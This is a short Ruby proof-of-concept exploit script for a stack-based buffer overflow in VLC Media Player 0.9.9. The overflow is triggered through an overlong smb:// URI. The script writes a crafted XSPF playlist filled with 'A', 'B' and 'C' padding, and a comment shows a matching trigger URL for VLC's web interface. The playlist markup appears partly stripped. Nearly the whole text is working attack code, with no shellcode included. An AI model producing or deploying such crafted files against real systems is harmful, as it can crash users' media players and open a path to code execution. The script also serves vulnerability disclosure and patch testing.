#!/usr/bin/ruby # VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept) # # Bugtraq ID: 35500 # # The vulnerability can also be triggered via the VLC web interface (disabled by default): # http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............ # # Patch: # http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f # # Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest). # # Trancer # http://www.rec-sec.com foo = "A" * 58 bar = "B" * 4 baz = "C" * 1000 b00m = foo + bar + baz xspf = %Q| Playlist smb://foo.com@www.foo.com/foo/#{b00m} 0 | playlist = File.new("vlc_smb.xspf","wb") playlist.write(xspf) playlist.close